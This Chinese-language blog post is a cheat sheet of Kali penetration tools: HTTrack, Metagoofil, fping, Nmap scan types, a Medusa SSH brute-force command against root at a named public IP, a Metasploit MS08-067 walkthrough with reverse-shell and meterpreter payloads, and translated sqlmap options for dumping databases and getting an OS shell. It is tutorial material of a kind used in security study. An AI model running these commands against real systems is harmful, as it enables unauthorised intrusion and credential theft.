HTTrack 网站复制

黑客 专题一 常用工具
分类: Kali 2013-10-14 17:55 304人阅读 评论(0) 收藏 举报
黑客Kali
目录(?)[+]
一.HTTrack 网站复制
    1.1安装
[plain] view plaincopy
apt-get install httrack webhttrack 
    1.2 常用命令
[plain] view plaincopy
httrack http://www.documentfoundation.org -* +*.htm* +*.pdf -O /home/floeff/websites 
httrack http://www.leiyanhui.com/ -O E:\test\ -r15 -E3600 -m2000000,300000 -M1000000000 --ext-depth 1 -o0 -s0 -F "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)" -%F "" -*.* +*.htm* +*.shtm* +*.php* +*.asp* +*.do +*.jsp +*.css +*.swf +*.js +*.jp* +*.gif +*.bmp +*.png -N100 
常用存放规则 
-N100 直接放到目录根下面,默认站点结构,并且外部站点也放进去 
-N1004 直接放到目录根下面,文件根据后缀放置,并且外部站点的文件也一起放进去 
-N1005 直接放到目录下,html放到html文件夹,其他文件也按照后缀放到单独文件夹,并且外部站点的文件也一起放进去 
文件过滤(白名单): 
-*.* +*.htm* +*.shtm* +*.cgi +*.py +*.php* +*.phtm* +*.asp* +*.do +*.jsp +*.css +*.swf +*.js +*.jp* +*.gif +*.bmp +*.png 
注意,多个任务不能放置到同一个目录里面,不然会提示文件夹锁定 
另外 对css中 background:#fff url(images/head_bg.gif) repeat-x; 不能识别其中的图片 
js和swf中的图片 几乎全部无法识别 
小技巧: 
在命令行正在执行的时候,连续按下2-4次回车可以看到滚动日志 
限制类参数 
-r50 50层 
-E3600 限制时间为3600秒之内 
-m50000000 限制非html文件为50m以内 
-m50000000,100000 限制非html文件为50M html文件为100K 
-M1000000000 限制总体积为1G 
-A100000000 限制速度为100m/s 
-G100000000 下载1G后暂停 
%e1 前面没有横线,限制外链深度为5层;不知道为何无效,所以用 --ext-depth 1的方法替代了 
性能参数 
-%c20 每秒20个连接 
-c128 文件句柄限制,文档说与操作系统有关系,不一定越大越好 
-T30 连接超时选项 
-R5 重试次数限制,暂时不确定超限后是终止任务还是终止文件 
-J10 速度不到10b/s的时候 放弃下载 
-H0 不终止任务 -H1 超时的时候终止任务 -H2 速度太慢的时候 -H3 速度太慢或者超时 
镜像参数 
-N "%h%p/%n.%t" 文件保存路径 
-L1 |--long-names禁止使用长文件名,防止url过长或者文件系统不支持 
-K 保存原来的链接,禁止修改链接地址 
-x 好像是说外部链接替换成提示消息,应该是和允许下载外链有冲突 
-o0 智能识别404页面,防止保存大量没用的404页面地址 
%x0 include 好像是说可以通过md5校验,避免重复的文件 
蜘蛛参数 
-b0 禁用cookis 默认是启用 
-s0 忽略meta-tags and robots.txt -s1和-s2是遵守,但怎么遵守的没看明白 
浏览参数 
-F "Mozilla 1.0, Sparc, Solaris 23.54.34" 不需要解释 
-%F "Mirrored [from host %s [file %s [at %s]]]" 底部代码 
                详情见http://www.httrack.com/html/fcguide.html
二.Metagoofil 信息收集
         修改/usr/share/metagoofil/discovery中的googlesearch.py的内容如下

     

[python] view plaincopy
#self.server="www.google.com" 
#self.hostname="www.google.com" 
self.server="www.google.com.hk" 
self.hostname="www.google.com.hk" 
 
#self.quantity="100"         
self.quantity="10"   
# 这个值是google返回每页中有多少条结果,发现太大了在后面 do_search_files方法中self.results = h.getfile().read()会卡住不动,设置为10了有时都还有这种情况,不明白为什么。    
#改了这个值后在process_files中要做相应修改         
#self.counter+=100 
self.counter+=10 

       myparser.py中解析google返回的结果(提取文件链接)的正则式也要做相应修改:
[python] view plaincopy
#reg_urls = re.compile('<a href="(.*?)"') 
reg_urls = re.compile('<a href="[^">]*?/url\?q=([^">]*?)&sa=U.*?"') 

三.FPing 判断主机在线
     详情见http://www.fping.org/fping.1.html
  

[plain] view plaincopy
fping -a -g 192.168.0.1/24 >hosts.txt 

四.Nmap 端口扫描
  4.1 TCP 扫描
   完成三次握手,最稳定.
[plain] view plaincopy
nmap -sT -p- -PN 172.16.45.135 


   -sT 执行TCP 扫描

   -p- 扫描所有端口,而不是常用的1000个端口

   -PN 跳过主机发现过程,扫描所有地址

   可以使用172.16.45-254 指定一个范围或者使用-iL path_to_the_text_file
   4.2 SYN 扫描
     完成两次握手,速度较快,隐性扫描,相当于打给别人,对方刚说喂,就挂了.是默认的扫描方式.

[plain] view plaincopy
nmap -sS -p- -PN 172.16.45.135 
   
    4.3 UDP 扫描
       扫描速度非常慢,DHCP,DNS,SNMP,TFTP使用UDP服务

 

[plain] view plaincopy
nmap -sUV 172.16.45.36 

       -sV 用于版本扫描,精确UDP扫描结果
     
    4.4 Xmas扫描
      发送非常规的数据包,针对的是Linux或Unix操作系统,Windows 一般无效

[plain] view plaincopy
nmap -sX -p- -PN 172.16.45.129 
   
    4.5 Null 扫描
      发送NULL,与Xmas 相反,关闭的端口会发回一个RST数据包。只有那些100%遵循TCP RFC的系统有效,Windows 一般无效
[plain] view plaincopy
nmap -sN -p- -PN 172.16.45.129 
      4.6 好用的参数

     -T 0~5 5最快,为避免被检测到,设置速度

     -O 用于识别操作系统

五.Medusa 密码破解
        支持IMAP,FTP,MySQL,POP3,SNMP,SSH,Telnet,VNC.
[plain] view plaincopy
medusa -h 202.38.128.6 -u root -P nmap.lst -M ssh 

六.Metasploit
[plain] view plaincopy
msfconsole 打开控制台 

[plain] view plaincopy
msf > msfupdate ;更新需要经常执行 
msf > search ms08-067 ;查找漏洞,Rank 评价成功率 


[plain] view plaincopy
msf>use windows/smb/ms08_067_netapi 
msf>show payloads 
msf>set payload windows>vncinject/reverse_tcp 
msf>show options 查看所需要配置的选项 
msf>set RHOST 远程靶机ip 
msf>set LHOST 发起攻击ip 
msf>show options 查看是否配置成功 
msf>exploit 发起攻击 
Windows 可用的载荷

[plain] view plaincopy
windows/adduser 创建新用户 
windows/exec 执行windows二进制文件 
windows/shell_bind_tcp 正向shell 
windows/shell_reverse_tcp 反向shell 
windows/meterpreter/bind_tcp 安装meterpreter 
windows/meterpreter/reverse_tcp 反向安装meterpreter 
windows/vncinject/bind_tcp 正向VNC 
windows/vncinject/reverse_tcp 反向VNC  
七.Sqlmap使用
[plain] view plaincopy
Options(选项): 
--version 显示程序的版本号并退出 
-h, --help 显示此帮助消息并退出 
-v VERBOSE 详细级别:0-6(默认为1) 
 
Target(目标): 
以下至少需要设置其中一个选项,设置目标URL。 
 
-d DIRECT 直接连接到数据库。 
-u URL, --url=URL 目标URL。 
-l LIST 从Burp或WebScarab代理的日志中解析目标。 
-r REQUESTFILE 从一个文件中载入HTTP请求。 
-g GOOGLEDORK 处理Google dork的结果作为目标URL。 
-c CONFIGFILE 从INI配置文件中加载选项。 
 
Request(请求): 
这些选项可以用来指定如何连接到目标URL。 
 
--data=DATA 通过POST发送的数据字符串 
--cookie=COOKIE HTTP Cookie头 
--cookie-urlencode URL 编码生成的cookie注入 
--drop-set-cookie 忽略响应的Set - Cookie头信息 
--user-agent=AGENT 指定 HTTP User - Agent头 
--random-agent 使用随机选定的HTTP User - Agent头 
--referer=REFERER 指定 HTTP Referer头 
--headers=HEADERS 换行分开,加入其他的HTTP头 
--auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM) 
--auth-cred=ACRED HTTP身份验证凭据(用户名:密码) 
--auth-cert=ACERT HTTP认证证书(key_file,cert_file) 
--proxy=PROXY 使用HTTP代理连接到目标URL 
--proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码) 
--ignore-proxy 忽略系统默认的HTTP代理 
--delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒 
--timeout=TIMEOUT 等待连接超时的时间(默认为30秒) 
--retries=RETRIES 连接超时后重新连接的时间(默认3) 
--scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式 
--safe-url=SAFURL 在测试过程中经常访问的url地址 
--safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL 
 
Optimization(优化): 
这些选项可用于优化SqlMap的性能。 
 
-o 开启所有优化开关 
--predict-output 预测常见的查询输出 
--keep-alive 使用持久的HTTP(S)连接 
--null-connection 从没有实际的HTTP响应体中检索页面长度 
--threads=THREADS 最大的HTTP(S)请求并发量(默认为1) 
 
Injection(注入): 
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。 
 
-p TESTPARAMETER 可测试的参数(S) 
--dbms=DBMS 强制后端的DBMS为此值 
--os=OS 强制后端的DBMS操作系统为这个值 
--prefix=PREFIX 注入payload字符串前缀 
--suffix=SUFFIX 注入payload字符串后缀 
--tamper=TAMPER 使用给定的脚本(S)篡改注入数据 
 
Detection(检测): 
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。 
 
--level=LEVEL 执行测试的等级(1-5,默认为1) 
--risk=RISK 执行测试的风险(0-3,默认为1) 
--string=STRING 查询时有效时在页面匹配字符串 
--regexp=REGEXP 查询时有效时在页面匹配正则表达式 
--text-only 仅基于在文本内容比较网页 
 
Techniques(技巧): 
这些选项可用于调整具体的SQL注入测试。 
 
--technique=TECH SQL注入技术测试(默认BEUST) 
--time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒) 
--union-cols=UCOLS 定列范围用于测试UNION查询注入 
--union-char=UCHAR 用于暴力猜解列数的字符 
 
Fingerprint(指纹): 
-f, --fingerprint 执行检查广泛的DBMS版本指纹 
 
Enumeration(枚举): 
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 
的SQL语句。 
-b, --banner 检索数据库管理系统的标识 
--current-user 检索数据库管理系统当前用户 
--current-db 检索数据库管理系统当前数据库 
--is-dba 检测DBMS当前用户是否DBA 
--users 枚举数据库管理系统用户 
--passwords 枚举数据库管理系统用户密码哈希 
--privileges 枚举数据库管理系统用户的权限 
--roles 枚举数据库管理系统用户的角色 
--dbs 枚举数据库管理系统数据库 
--tables 枚举的DBMS数据库中的表 
--columns 枚举DBMS数据库表列 
--dump 转储数据库管理系统的数据库中的表项 
--dump-all 转储所有的DBMS数据库表中的条目 
--search 搜索列(S),表(S)和/或数据库名称(S) 
-D DB 要进行枚举的数据库名 
-T TBL 要进行枚举的数据库表 
-C COL 要进行枚举的数据库列 
-U USER 用来进行枚举的数据库用户 
--exclude-sysdbs 枚举表时排除系统数据库 
--start=LIMITSTART 第一个查询输出进入检索 
--stop=LIMITSTOP 最后查询的输出进入检索 
--first=FIRSTCHAR 第一个查询输出字的字符检索 
--last=LASTCHAR 最后查询的输出字字符检索 
--sql-query=QUERY 要执行的SQL语句 
--sql-shell 提示交互式SQL的shell 
 
Brute force(蛮力): 
这些选项可以被用来运行蛮力检查。 
 
--common-tables 检查存在共同表 
--common-columns 检查存在共同列 
 
User-defined function injection(用户自定义函数注入): 
这些选项可以用来创建用户自定义函数。 
 
--udf-inject 注入用户自定义函数 
--shared-lib=SHLIB 共享库的本地路径 
 
File system access(访问文件系统): 
这些选项可以被用来访问后端数据库管理系统的底层文件系统。 
 
--file-read=RFILE 从后端的数据库管理系统文件系统读取文件 
--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径 
 
Operating system access(操作系统访问): 
这些选项可以用于访问后端数据库管理系统的底层操作系统。 
 
--os-cmd=OSCMD 执行操作系统命令 
--os-shell 交互式的操作系统的shell 
--os-pwn 获取一个OOB shell,meterpreter或VNC 
--os-smbrelay 一键获取一个OOB shell,meterpreter或VNC 
--os-bof 存储过程缓冲区溢出利用 
--priv-esc 数据库进程用户权限提升 
--msf-path=MSFPATH Metasploit Framework本地的安装路径 
--tmp-path=TMPPATH 远程临时文件目录的绝对路径 
 
Windows注册表访问: 
这些选项可以被用来访问后端数据库管理系统Windows注册表。 
 
--reg-read 读一个Windows注册表项值 
--reg-add 写一个Windows注册表项值数据 
--reg-del 删除Windows注册表键值 
--reg-key=REGKEY Windows注册表键 
--reg-value=REGVAL Windows注册表项值 
--reg-data=REGDATA Windows注册表键值数据 
--reg-type=REGTYPE Windows注册表项值类型 
 
General(一般): 
 
这些选项可以用来设置一些一般的工作参数。 
-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中 
-s SESSIONFILE 保存和恢复检索会话文件的所有数据 
--flush-session 刷新当前目标的会话文件 
--fresh-queries 忽略在会话文件中存储的查询结果 
--eta 显示每个输出的预计到达时间 
--update 更新SqlMap 
--save file保存选项到INI配置文件 
--batch 从不询问用户输入,使用所有默认配置。 
 
Miscellaneous(杂项): 
--beep 发现SQL注入时提醒 
--check-payload IDS对注入payloads的检测测试 
--cleanup SqlMap具体的UDF和表清理DBMS 
--forms 对目标URL的解析和测试形式 
--gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果 
--page-rank Google dork结果显示网页排名(PR) 
--parse-errors 从响应页面解析数据库管理系统的错误消息 
--replicate 复制转储的数据到一个sqlite3数据库 
--tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址 
--wizard 给初级用户的简单向导界面 
//--http://blog.csdn.net/ghosttzs--// 






更多 0
上一篇:Django 1.5.4 专题18 User Profile
下一篇:python 网络编程

猜你喜欢

转载自wangxiaoxu.iteye.com/blog/2017432
今日推荐